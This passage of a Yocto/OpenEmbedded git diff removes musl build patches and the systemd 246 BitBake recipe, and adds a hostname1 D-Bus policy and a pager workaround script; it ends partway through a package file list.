@@ -1,31 +0,0 @@
-From f939d3e07e1175caac5cf4cbf54bd8a58c2f198a Mon Sep 17 00:00:00 2001
-From: Alex Kiernan <alex.kiernan@gmail.com>
-Date: Fri, 7 Aug 2020 15:30:52 +0000
-Subject: [PATCH] Fix field 'efi_loader_entry_one_shot_stat' has incomplete
- type
-
-| In file included from ../../../../../../workspace/sources/systemd/src/login/logind-gperf.gperf:7:
-| ../../../../../../workspace/sources/systemd/src/login/logind.h:131:21: error: field 'efi_loader_entry_one_shot_stat' has incomplete type
-| 131 | struct stat efi_loader_entry_one_shot_stat;
-| | ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-Upstream-Status: Inappropriate [musl specific]
-Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
----
- src/login/logind.h | 3 +++
- 1 file changed, 3 insertions(+)
-
-diff --git a/src/login/logind.h b/src/login/logind.h
-index e64ecce8e2..2d4007d84b 100644
---- a/src/login/logind.h
-+++ b/src/login/logind.h
-@@ -2,6 +2,9 @@
- #pragma once
-
- #include <stdbool.h>
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <unistd.h>
-
- #include "sd-bus.h"
- #include "sd-device.h"
diff --git a/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch b/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch
deleted file mode 100644
index 80beada3d3..0000000000
--- a/meta/recipes-core/systemd/systemd/0024-test-json.c-define-M_PIl.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-From a05cc5fb3dc0e51682c40196285cdda34ec90783 Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 16:53:06 +0800
-Subject: [PATCH] test-json.c: define M_PIl
-
-Fix the following compile failure:
-src/test/test-json.c:305:50: error: 'M_PIl' undeclared (first use in this function); did you mean 'M_PI'?
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-
----
- src/test/test-json.c | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/src/test/test-json.c b/src/test/test-json.c
-index a6613043b924..ca823ea79f05 100644
---- a/src/test/test-json.c
-+++ b/src/test/test-json.c
-@@ -12,6 +12,10 @@
- #include "tests.h"
- #include "util.h"
-
-+#ifndef M_PIl
-+#define M_PIl 3.141592653589793238462643383279502884L
-+#endif
-+
- static void test_tokenizer(const char *data, ...) {
- unsigned line = 0, column = 0;
- void *state = NULL;
diff --git a/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf b/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf
new file mode 100644
index 0000000000..f4d0271cdb
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/org.freedesktop.hostname1_no_polkit.conf
@@ -0,0 +1,11 @@
+<?xml version="1.0"?> <!--*-nxml-*-->
+<!DOCTYPE busconfig PUBLIC "-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN"
+ "http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd">
+
+<busconfig>
+ <policy group="systemd-hostname">
+ <allow own="org.freedesktop.hostname1"/>
+ <allow send_destination="org.freedesktop.hostname1"/>
+ <allow receive_sender="org.freedesktop.hostname1"/>
+ </policy>
+</busconfig>
diff --git a/meta/recipes-core/systemd/systemd/systemd-pager.sh b/meta/recipes-core/systemd/systemd/systemd-pager.sh
new file mode 100644
index 0000000000..86e3e0ab78
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/systemd-pager.sh
@@ -0,0 +1,7 @@
+# Systemd expect a color capable pager, however the less provided
+# by busybox is not. This make many interaction with systemd pretty
+# annoying. As a workaround we disable the systemd pager if less
+# is not the GNU version.
+if ! less -V > /dev/null 2>&1 ; then
+ export SYSTEMD_PAGER=
+fi
diff --git a/meta/recipes-core/systemd/systemd_246.bb b/meta/recipes-core/systemd/systemd_246.bb
deleted file mode 100644
index a463aab1e3..0000000000
--- a/meta/recipes-core/systemd/systemd_246.bb
+++ /dev/null
@@ -1,718 +0,0 @@
-require systemd.inc
-
-PROVIDES = "udev"
-
-PE = "1"
-
-DEPENDS = "intltool-native gperf-native libcap util-linux"
-
-SECTION = "base/shell"
-
-inherit useradd pkgconfig meson perlnative update-rc.d update-alternatives qemu systemd gettext bash-completion manpages features_check
-
-# As this recipe builds udev, respect systemd being in DISTRO_FEATURES so
-# that we don't build both udev and systemd in world builds.
-REQUIRED_DISTRO_FEATURES = "systemd"
-
-SRC_URI += "file://touchscreen.rules \
- file://00-create-volatile.conf \
- file://init \
- file://99-default.preset \
- file://0001-binfmt-Don-t-install-dependency-links-at-install-tim.patch \
- file://0003-implment-systemd-sysv-install-for-OE.patch \
- file://0021-Handle-missing-LOCK_EX.patch \
- file://0022-Fix-incompatible-pointer-type-struct-sockaddr_un.patch \
- file://0023-Fix-field-efi_loader_entry_one_shot_stat-has-incompl.patch \
- "
-
-# patches needed by musl
-SRC_URI_append_libc-musl = " ${SRC_URI_MUSL}"
-SRC_URI_MUSL = "\
- file://0002-don-t-use-glibc-specific-qsort_r.patch \
- file://0003-missing_type.h-add-__compare_fn_t-and-comparison_fn_.patch \
- file://0004-add-fallback-parse_printf_format-implementation.patch \
- file://0005-src-basic-missing.h-check-for-missing-strndupa.patch \
- file://0006-Include-netinet-if_ether.h.patch \
- file://0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch \
- file://0008-add-missing-FTW_-macros-for-musl.patch \
- file://0010-fix-missing-of-__register_atfork-for-non-glibc-build.patch \
- file://0011-Use-uintmax_t-for-handling-rlim_t.patch \
- file://0014-test-sizeof.c-Disable-tests-for-missing-typedefs-in-.patch \
- file://0015-don-t-pass-AT_SYMLINK_NOFOLLOW-flag-to-faccessat.patch \
- file://0016-Define-glibc-compatible-basename-for-non-glibc-syste.patch \
- file://0017-Do-not-disable-buffering-when-writing-to-oom_score_a.patch \
- file://0018-distinguish-XSI-compliant-strerror_r-from-GNU-specif.patch \
- file://0019-Hide-__start_BUS_ERROR_MAP-and-__stop_BUS_ERROR_MAP.patch \
- file://0020-missing_type.h-add-__compar_d_fn_t-definition.patch \
- file://0021-avoid-redefinition-of-prctl_mm_map-structure.patch \
- file://0024-test-json.c-define-M_PIl.patch \
- file://0001-do-not-disable-buffer-in-writing-files.patch \
- file://0002-src-login-brightness.c-include-sys-wait.h.patch \
- file://0003-src-basic-copy.c-include-signal.h.patch \
- file://0004-src-shared-cpu-set-util.h-add-__cpu_mask-definition.patch \
- file://0001-Handle-missing-gshadow.patch \
- "
-
-PAM_PLUGINS = " \
- pam-plugin-unix \
- pam-plugin-loginuid \
- pam-plugin-keyinit \
-"
-
-PACKAGECONFIG ??= " \
- ${@bb.utils.filter('DISTRO_FEATURES', 'acl audit efi ldconfig pam selinux smack usrmerge polkit', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'wifi', 'rfkill', '', d)} \
- ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xkbcommon', '', d)} \
- backlight \
- binfmt \
- gshadow \
- hibernate \
- hostnamed \
- idn \
- ima \
- kmod \
- localed \
- logind \
- machined \
- myhostname \
- networkd \
- nss \
- nss-mymachines \
- nss-resolve \
- quotacheck \
- randomseed \
- resolved \
- set-time-epoch \
- sysusers \
- sysvinit \
- timedated \
- timesyncd \
- userdb \
- utmp \
- vconsole \
- xz \
-"
-
-PACKAGECONFIG_remove_libc-musl = " \
- gshadow \
- idn \
- localed \
- myhostname \
- nss \
- nss-mymachines \
- nss-resolve \
- sysusers \
- userdb \
- utmp \
-"
-
-CFLAGS_append_libc-musl = " -D__UAPI_DEF_ETHHDR=0 "
-
-# Use the upstream systemd serial-getty@.service and rely on
-# systemd-getty-generator instead of using the OE-core specific
-# systemd-serialgetty.bb - not enabled by default.
-PACKAGECONFIG[serial-getty-generator] = ""
-
-PACKAGECONFIG[acl] = "-Dacl=true,-Dacl=false,acl"
-PACKAGECONFIG[audit] = "-Daudit=true,-Daudit=false,audit"
-PACKAGECONFIG[backlight] = "-Dbacklight=true,-Dbacklight=false"
-PACKAGECONFIG[binfmt] = "-Dbinfmt=true,-Dbinfmt=false"
-PACKAGECONFIG[bzip2] = "-Dbzip2=true,-Dbzip2=false,bzip2"
-PACKAGECONFIG[cgroupv2] = "-Ddefault-hierarchy=unified,-Ddefault-hierarchy=hybrid"
-PACKAGECONFIG[coredump] = "-Dcoredump=true,-Dcoredump=false"
-PACKAGECONFIG[cryptsetup] = "-Dlibcryptsetup=true,-Dlibcryptsetup=false,cryptsetup"
-PACKAGECONFIG[dbus] = "-Ddbus=true,-Ddbus=false,dbus"
-PACKAGECONFIG[efi] = "-Defi=true,-Defi=false"
-PACKAGECONFIG[gnu-efi] = "-Dgnu-efi=true -Defi-libdir=${STAGING_LIBDIR} -Defi-includedir=${STAGING_INCDIR}/efi,-Dgnu-efi=false,gnu-efi"
-PACKAGECONFIG[elfutils] = "-Delfutils=true,-Delfutils=false,elfutils"
-PACKAGECONFIG[firstboot] = "-Dfirstboot=true,-Dfirstboot=false"
-# Sign the journal for anti-tampering
-PACKAGECONFIG[gcrypt] = "-Dgcrypt=true,-Dgcrypt=false,libgcrypt"
-PACKAGECONFIG[gnutls] = "-Dgnutls=true,-Dgnutls=false,gnutls"
-PACKAGECONFIG[gshadow] = "-Dgshadow=true,-Dgshadow=false"
-PACKAGECONFIG[hibernate] = "-Dhibernate=true,-Dhibernate=false"
-PACKAGECONFIG[hostnamed] = "-Dhostnamed=true,-Dhostnamed=false"
-PACKAGECONFIG[idn] = "-Didn=true,-Didn=false"
-PACKAGECONFIG[ima] = "-Dima=true,-Dima=false"
-# importd requires curl/xz/zlib/bzip2/gcrypt
-PACKAGECONFIG[importd] = "-Dimportd=true,-Dimportd=false"
-# Update NAT firewall rules
-PACKAGECONFIG[iptc] = "-Dlibiptc=true,-Dlibiptc=false,iptables"
-PACKAGECONFIG[journal-upload] = "-Dlibcurl=true,-Dlibcurl=false,curl"
-PACKAGECONFIG[kmod] = "-Dkmod=true,-Dkmod=false,kmod"
-PACKAGECONFIG[ldconfig] = "-Dldconfig=true,-Dldconfig=false,,ldconfig"
-PACKAGECONFIG[libidn] = "-Dlibidn=true,-Dlibidn=false,libidn"
-PACKAGECONFIG[libidn2] = "-Dlibidn2=true,-Dlibidn2=false,libidn2"
-PACKAGECONFIG[localed] = "-Dlocaled=true,-Dlocaled=false"
-PACKAGECONFIG[logind] = "-Dlogind=true,-Dlogind=false"
-PACKAGECONFIG[lz4] = "-Dlz4=true,-Dlz4=false,lz4"
-PACKAGECONFIG[machined] = "-Dmachined=true,-Dmachined=false"
-PACKAGECONFIG[manpages] = "-Dman=true,-Dman=false,libxslt-native xmlto-native docbook-xml-dtd4-native docbook-xsl-stylesheets-native"
-PACKAGECONFIG[microhttpd] = "-Dmicrohttpd=true,-Dmicrohttpd=false,libmicrohttpd"
-PACKAGECONFIG[myhostname] = "-Dnss-myhostname=true,-Dnss-myhostname=false,,libnss-myhostname"
-PACKAGECONFIG[networkd] = "-Dnetworkd=true,-Dnetworkd=false"
-PACKAGECONFIG[nss] = "-Dnss-systemd=true,-Dnss-systemd=false"
-PACKAGECONFIG[nss-mymachines] = "-Dnss-mymachines=true,-Dnss-mymachines=false"
-PACKAGECONFIG[nss-resolve] = "-Dnss-resolve=true,-Dnss-resolve=false"
-PACKAGECONFIG[openssl] = "-Dopenssl=true,-Dopenssl=false,openssl"
-PACKAGECONFIG[pam] = "-Dpam=true,-Dpam=false,libpam,${PAM_PLUGINS}"
-PACKAGECONFIG[pcre2] = "-Dpcre2=true,-Dpcre2=false,libpcre2"
-PACKAGECONFIG[polkit] = "-Dpolkit=true,-Dpolkit=false"
-PACKAGECONFIG[portabled] = "-Dportabled=true,-Dportabled=false"
-PACKAGECONFIG[qrencode] = "-Dqrencode=true,-Dqrencode=false,qrencode"
-PACKAGECONFIG[quotacheck] = "-Dquotacheck=true,-Dquotacheck=false"
-PACKAGECONFIG[randomseed] = "-Drandomseed=true,-Drandomseed=false"
-PACKAGECONFIG[resolved] = "-Dresolve=true,-Dresolve=false"
-PACKAGECONFIG[rfkill] = "-Drfkill=true,-Drfkill=false"
-# libseccomp is found in meta-security
-PACKAGECONFIG[seccomp] = "-Dseccomp=true,-Dseccomp=false,libseccomp"
-PACKAGECONFIG[selinux] = "-Dselinux=true,-Dselinux=false,libselinux,initscripts-sushell"
-PACKAGECONFIG[smack] = "-Dsmack=true,-Dsmack=false"
-PACKAGECONFIG[sysusers] = "-Dsysusers=true,-Dsysusers=false"
-PACKAGECONFIG[sysvinit] = "-Dsysvinit-path=${sysconfdir}/init.d -Dsysvrcnd-path=${sysconfdir},-Dsysvinit-path= -Dsysvrcnd-path=,,systemd-compat-units update-rc.d"
-# When enabled use reproducble build timestamp if set as time epoch,
-# or build time if not. When disabled, time epoch is unset.
-def build_epoch(d):
- epoch = d.getVar('SOURCE_DATE_EPOCH') or "-1"
- return '-Dtime-epoch=%d' % int(epoch)
-PACKAGECONFIG[set-time-epoch] = "${@build_epoch(d)},-Dtime-epoch=0"
-PACKAGECONFIG[timedated] = "-Dtimedated=true,-Dtimedated=false"
-PACKAGECONFIG[timesyncd] = "-Dtimesyncd=true,-Dtimesyncd=false"
-PACKAGECONFIG[usrmerge] = "-Dsplit-usr=false,-Dsplit-usr=true"
-PACKAGECONFIG[sbinmerge] = "-Dsplit-bin=false,-Dsplit-bin=true"
-PACKAGECONFIG[userdb] = "-Duserdb=true,-Duserdb=false"
-PACKAGECONFIG[utmp] = "-Dutmp=true,-Dutmp=false"
-PACKAGECONFIG[valgrind] = "-DVALGRIND=1,,valgrind"
-PACKAGECONFIG[vconsole] = "-Dvconsole=true,-Dvconsole=false,,${PN}-vconsole-setup"
-# Verify keymaps on locale change
-PACKAGECONFIG[xkbcommon] = "-Dxkbcommon=true,-Dxkbcommon=false,libxkbcommon"
-PACKAGECONFIG[xz] = "-Dxz=true,-Dxz=false,xz"
-PACKAGECONFIG[zlib] = "-Dzlib=true,-Dzlib=false,zlib"
-
-# Helper variables to clarify locations. This mirrors the logic in systemd's
-# build system.
-rootprefix ?= "${root_prefix}"
-rootlibdir ?= "${base_libdir}"
-rootlibexecdir = "${rootprefix}/lib"
-
-# This links udev statically with systemd helper library.
-# Otherwise udev package would depend on systemd package (which has the needed shared library),
-# and always pull it into images.
-EXTRA_OEMESON += "-Dlink-udev-shared=false"
-
-EXTRA_OEMESON += "-Dnobody-user=nobody \
- -Dnobody-group=nobody \
- -Drootlibdir=${rootlibdir} \
- -Drootprefix=${rootprefix} \
- -Ddefault-locale=C \
- "
-
-# Hardcode target binary paths to avoid using paths from sysroot
-EXTRA_OEMESON += "-Dkexec-path=${sbindir}/kexec \
- -Dkmod-path=${base_bindir}/kmod \
- -Dmount-path=${base_bindir}/mount \
- -Dquotacheck-path=${sbindir}/quotacheck \
- -Dquotaon-path=${sbindir}/quotaon \
- -Dsulogin-path=${base_sbindir}/sulogin \
- -Dnologin-path=${base_sbindir}/nologin \
- -Dumount-path=${base_bindir}/umount"
-
-do_install() {
- meson_do_install
- install -d ${D}/${base_sbindir}
- if ${@bb.utils.contains('PACKAGECONFIG', 'serial-getty-generator', 'false', 'true', d)}; then
- # Provided by a separate recipe
- rm ${D}${systemd_unitdir}/system/serial-getty* -f
- fi
-
- # Provide support for initramfs
- [ ! -e ${D}/init ] && ln -s ${rootlibexecdir}/systemd/systemd ${D}/init
- [ ! -e ${D}/${base_sbindir}/udevd ] && ln -s ${rootlibexecdir}/systemd/systemd-udevd ${D}/${base_sbindir}/udevd
-
- install -d ${D}${sysconfdir}/udev/rules.d/
- install -d ${D}${sysconfdir}/tmpfiles.d
- install -m 0644 ${WORKDIR}/*.rules ${D}${sysconfdir}/udev/rules.d/
-
- install -m 0644 ${WORKDIR}/00-create-volatile.conf ${D}${sysconfdir}/tmpfiles.d/
-
- if ${@bb.utils.contains('DISTRO_FEATURES','sysvinit','true','false',d)}; then
- install -d ${D}${sysconfdir}/init.d
- install -m 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/systemd-udevd
- sed -i s%@UDEVD@%${rootlibexecdir}/systemd/systemd-udevd% ${D}${sysconfdir}/init.d/systemd-udevd
- install -Dm 0755 ${S}/src/systemctl/systemd-sysv-install.SKELETON ${D}${systemd_unitdir}/systemd-sysv-install
- fi
-
- chown root:systemd-journal ${D}/${localstatedir}/log/journal
-
- # Delete journal README, as log can be symlinked inside volatile.
- rm -f ${D}/${localstatedir}/log/README
-
- # journal-remote creates this at start
- rm -rf ${D}/${localstatedir}/log/journal/remote
-
- install -d ${D}${systemd_unitdir}/system/graphical.target.wants
- install -d ${D}${systemd_unitdir}/system/multi-user.target.wants
- install -d ${D}${systemd_unitdir}/system/poweroff.target.wants
- install -d ${D}${systemd_unitdir}/system/reboot.target.wants
- install -d ${D}${systemd_unitdir}/system/rescue.target.wants
-
- # Create symlinks for systemd-update-utmp-runlevel.service
- if ${@bb.utils.contains('PACKAGECONFIG', 'utmp', 'true', 'false', d)}; then
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/graphical.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/multi-user.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/poweroff.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/reboot.target.wants/systemd-update-utmp-runlevel.service
- ln -sf ../systemd-update-utmp-runlevel.service ${D}${systemd_unitdir}/system/rescue.target.wants/systemd-update-utmp-runlevel.service
- fi
-
- # this file is needed to exist if networkd is disabled but timesyncd is still in use since timesyncd checks it
- # for existence else it fails
- if [ -s ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf ]; then
- ${@bb.utils.contains('PACKAGECONFIG', 'networkd', ':', 'sed -i -e "\$ad /run/systemd/netif/links 0755 root root -" ${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf', d)}
- fi
- if ! ${@bb.utils.contains('PACKAGECONFIG', 'resolved', 'true', 'false', d)}; then
- echo 'L! ${sysconfdir}/resolv.conf - - - - ../run/systemd/resolve/resolv.conf' >>${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
- echo 'd /run/systemd/resolve 0755 root root -' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
- echo 'f /run/systemd/resolve/resolv.conf 0644 root root' >>${D}${exec_prefix}/lib/tmpfiles.d/systemd.conf
- ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
- else
- sed -i -e "s%^L! /etc/resolv.conf.*$%L! /etc/resolv.conf - - - - ../run/systemd/resolve/resolv.conf%g" ${D}${exec_prefix}/lib/tmpfiles.d/etc.conf
- ln -s ../run/systemd/resolve/resolv.conf ${D}${sysconfdir}/resolv-conf.systemd
- fi
- if ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'false', 'true', d)}; then
- rm ${D}${exec_prefix}/lib/tmpfiles.d/x11.conf
- rm -r ${D}${sysconfdir}/X11
- fi
-
- # If polkit is setup fixup permissions and ownership
- if ${@bb.utils.contains('PACKAGECONFIG', 'polkit', 'true', 'false', d)}; then
- if [ -d ${D}${datadir}/polkit-1/rules.d ]; then
- chmod 700 ${D}${datadir}/polkit-1/rules.d
- chown polkitd:root ${D}${datadir}/polkit-1/rules.d
- fi
- fi
-
- # create link for existing udev rules
- ln -s ${base_bindir}/udevadm ${D}${base_sbindir}/udevadm
-
- # duplicate udevadm for postinst script
- install -d ${D}${libexecdir}
- ln ${D}${base_bindir}/udevadm ${D}${libexecdir}/${MLPREFIX}udevadm
-
- # install default policy for presets
- # https://www.freedesktop.org/wiki/Software/systemd/Preset/#howto
- install -Dm 0644 ${WORKDIR}/99-default.preset ${D}${systemd_unitdir}/system-preset/99-default.preset
-}
-
-python populate_packages_prepend (){
- systemdlibdir = d.getVar("rootlibdir")
- do_split_packages(d, systemdlibdir, '^lib(.*)\.so\.*', 'lib%s', 'Systemd %s library', extra_depends='', allow_links=True)
-}
-PACKAGES_DYNAMIC += "^lib(udev|systemd|nss).*"
-
-PACKAGE_BEFORE_PN = "\
- ${PN}-gui \
- ${PN}-vconsole-setup \
- ${PN}-initramfs \
- ${PN}-analyze \
- ${PN}-kernel-install \
- ${PN}-rpm-macros \
- ${PN}-binfmt \
- ${PN}-zsh-completion \
- ${PN}-container \
- ${PN}-journal-gatewayd \
- ${PN}-journal-upload \
- ${PN}-journal-remote \
- ${PN}-extra-utils \
- udev \
- udev-hwdb \
-"
-
-SUMMARY_${PN}-container = "Tools for containers and VMs"
-DESCRIPTION_${PN}-container = "Systemd tools to spawn and manage containers and virtual machines."
-
-SUMMARY_${PN}-journal-gatewayd = "HTTP server for journal events"
-DESCRIPTION_${PN}-journal-gatewayd = "systemd-journal-gatewayd serves journal events over the network. Clients must connect using HTTP. The server listens on port 19531 by default."
-
-SUMMARY_${PN}-journal-upload = "Send journal messages over the network"
-DESCRIPTION_${PN}-journal-upload = "systemd-journal-upload uploads journal entries to a specified URL."
-
-SUMMARY_${PN}-journal-remote = "Receive journal messages over the network"
-DESCRIPTION_${PN}-journal-remote = "systemd-journal-remote is a command to receive serialized journal events and store them to journal files."
-
-SYSTEMD_PACKAGES = "${@bb.utils.contains('PACKAGECONFIG', 'binfmt', '${PN}-binfmt', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gatewayd', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
-"
-SYSTEMD_SERVICE_${PN}-binfmt = "systemd-binfmt.service"
-
-USERADD_PACKAGES = "${PN} ${PN}-extra-utils \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-gateway', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'microhttpd', '${PN}-journal-remote', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'journal-upload', '${PN}-journal-upload', '', d)} \
-"
-GROUPADD_PARAM_${PN} = "-r systemd-journal"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'coredump', '--system -d / -M --shell /bin/nologin systemd-coredump;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'networkd', '--system -d / -M --shell /bin/nologin systemd-network;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'polkit', '--system --no-create-home --user-group --home-dir ${sysconfdir}/polkit-1 polkitd;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'resolved', '--system -d / -M --shell /bin/nologin systemd-resolve;', '', d)}"
-USERADD_PARAM_${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'timesyncd', '--system -d / -M --shell /bin/nologin systemd-timesync;', '', d)}"
-USERADD_PARAM_${PN}-extra-utils = "--system -d / -M --shell /bin/nologin systemd-bus-proxy"
-USERADD_PARAM_${PN}-journal-gateway = "--system -d / -M --shell /bin/nologin systemd-journal-gateway"
-USERADD_PARAM_${PN}-journal-remote = "--system -d / -M --shell /bin/nologin systemd-journal-remote"
-USERADD_PARAM_${PN}-journal-upload = "--system -d / -M --shell /bin/nologin systemd-journal-upload"
-
-FILES_${PN}-analyze = "${bindir}/systemd-analyze"
-
-FILES_${PN}-initramfs = "/init"
-RDEPENDS_${PN}-initramfs = "${PN}"
-
-FILES_${PN}-gui = "${bindir}/systemadm"
-
-FILES_${PN}-vconsole-setup = "${rootlibexecdir}/systemd/systemd-vconsole-setup \
- ${systemd_unitdir}/system/systemd-vconsole-setup.service \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-vconsole-setup.service"
-
-RDEPENDS_${PN}-kernel-install += "bash"
-FILES_${PN}-kernel-install = "${bindir}/kernel-install \
- ${sysconfdir}/kernel/ \
- ${exec_prefix}/lib/kernel \
- "
-FILES_${PN}-rpm-macros = "${exec_prefix}/lib/rpm \
- "
-
-FILES_${PN}-zsh-completion = "${datadir}/zsh/site-functions"
-
-FILES_${PN}-binfmt = "${sysconfdir}/binfmt.d/ \
- ${exec_prefix}/lib/binfmt.d \
- ${rootlibexecdir}/systemd/systemd-binfmt \
- ${systemd_unitdir}/system/proc-sys-fs-binfmt_misc.* \
- ${systemd_unitdir}/system/systemd-binfmt.service"
-RRECOMMENDS_${PN}-binfmt = "kernel-module-binfmt-misc"
-
-RRECOMMENDS_${PN}-vconsole-setup = "kbd kbd-consolefonts kbd-keymaps"
-
-
-FILES_${PN}-journal-gatewayd = "${rootlibexecdir}/systemd/systemd-journal-gatewayd \
- ${systemd_system_unitdir}/systemd-journal-gatewayd.service \
- ${systemd_system_unitdir}/systemd-journal-gatewayd.socket \
- ${systemd_system_unitdir}/sockets.target.wants/systemd-journal-gatewayd.socket \
- ${datadir}/systemd/gatewayd/browse.html \
- "
-SYSTEMD_SERVICE_${PN}-journal-gatewayd = "systemd-journal-gatewayd.socket"
-
-FILES_${PN}-journal-upload = "${rootlibexecdir}/systemd/systemd-journal-upload \
- ${systemd_system_unitdir}/systemd-journal-upload.service \
- ${sysconfdir}/systemd/journal-upload.conf \
- "
-SYSTEMD_SERVICE_${PN}-journal-upload = "systemd-journal-upload.service"
-
-FILES_${PN}-journal-remote = "${rootlibexecdir}/systemd/systemd-journal-remote \
- ${sysconfdir}/systemd/journal-remote.conf \
- ${systemd_system_unitdir}/systemd-journal-remote.service \
- ${systemd_system_unitdir}/systemd-journal-remote.socket \
- "
-SYSTEMD_SERVICE_${PN}-journal-remote = "systemd-journal-remote.socket"
-
-
-FILES_${PN}-container = "${sysconfdir}/dbus-1/system.d/org.freedesktop.import1.conf \
- ${sysconfdir}/dbus-1/system.d/org.freedesktop.machine1.conf \
- ${sysconfdir}/systemd/system/multi-user.target.wants/machines.target \
- ${base_bindir}/machinectl \
- ${bindir}/systemd-nspawn \
- ${nonarch_libdir}/systemd/import-pubring.gpg \
- ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.import1.busname \
- ${systemd_system_unitdir}/busnames.target.wants/org.freedesktop.machine1.busname \
- ${systemd_system_unitdir}/local-fs.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/machines.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/remote-fs.target.wants/var-lib-machines.mount \
- ${systemd_system_unitdir}/machine.slice \
- ${systemd_system_unitdir}/machines.target \
- ${systemd_system_unitdir}/org.freedesktop.import1.busname \
- ${systemd_system_unitdir}/org.freedesktop.machine1.busname \
- ${systemd_system_unitdir}/systemd-importd.service \
- ${systemd_system_unitdir}/systemd-machined.service \
- ${systemd_system_unitdir}/dbus-org.freedesktop.machine1.service \
- ${systemd_system_unitdir}/var-lib-machines.mount \
- ${rootlibexecdir}/systemd/systemd-import \
- ${rootlibexecdir}/systemd/systemd-importd \
- ${rootlibexecdir}/systemd/systemd-machined \
- ${rootlibexecdir}/systemd/systemd-pull \
- ${exec_prefix}/lib/tmpfiles.d/systemd-nspawn.conf \
- ${systemd_system_unitdir}/systemd-nspawn@.service \
- ${libdir}/libnss_mymachines.so.2 \
- ${datadir}/dbus-1/system-services/org.freedesktop.import1.service \
- ${datadir}/dbus-1/system-services/org.freedesktop.machine1.service \
- ${datadir}/dbus-1/system.d/org.freedesktop.import1.conf \
- ${datadir}/dbus-1/system.d/org.freedesktop.machine1.conf \
- ${datadir}/polkit-1/actions/org.freedesktop.import1.policy \
- ${datadir}/polkit-1/actions/org.freedesktop.machine1.policy \
- "
-
-RRECOMMENDS_${PN}-container += "\
- ${PN}-journal-upload \
- ${PN}-journal-remote \
- ${PN}-journal-gatewayd \
- "
-
-FILES_${PN}-extra-utils = "\
- ${base_bindir}/systemd-escape \
- ${base_bindir}/systemd-inhibit \
- ${bindir}/systemd-detect-virt \
- ${bindir}/systemd-path \
- ${bindir}/systemd-run \
- ${bindir}/systemd-cat \
- ${bindir}/systemd-delta \
- ${bindir}/systemd-cgls \
- ${bindir}/systemd-cgtop \
- ${bindir}/systemd-stdio-bridge \
- ${base_bindir}/systemd-ask-password \
- ${base_bindir}/systemd-tty-ask-password-agent \
- ${systemd_unitdir}/system/systemd-ask-password-console.path \
- ${systemd_unitdir}/system/systemd-ask-password-console.service \
- ${systemd_unitdir}/system/systemd-ask-password-wall.path \
- ${systemd_unitdir}/system/systemd-ask-password-wall.service \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-ask-password-console.path \
- ${systemd_unitdir}/system/sysinit.target.wants/systemd-ask-password-wall.path \
- ${systemd_unitdir}/system/multi-user.target.wants/systemd-ask-password-wall.path \
- ${rootlibexecdir}/systemd/systemd-resolve-host \
- ${rootlibexecdir}/systemd/systemd-ac-power \
- ${rootlibexecdir}/systemd/systemd-activate \
- ${rootlibexecdir}/systemd/systemd-bus-proxyd \
- ${systemd_unitdir}/system/systemd-bus-proxyd.service \
- ${systemd_unitdir}/system/systemd-bus-proxyd.socket \
- ${rootlibexecdir}/systemd/systemd-socket-proxyd \
- ${rootlibexecdir}/systemd/systemd-reply-password \
- ${rootlibexecdir}/systemd/systemd-sleep \
- ${rootlibexecdir}/systemd/system-sleep \
- ${systemd_unitdir}/system/systemd-hibernate.service \
- ${systemd_unitdir}/system/systemd-hybrid-sleep.service \
- ${systemd_unitdir}/system/systemd-suspend.service \
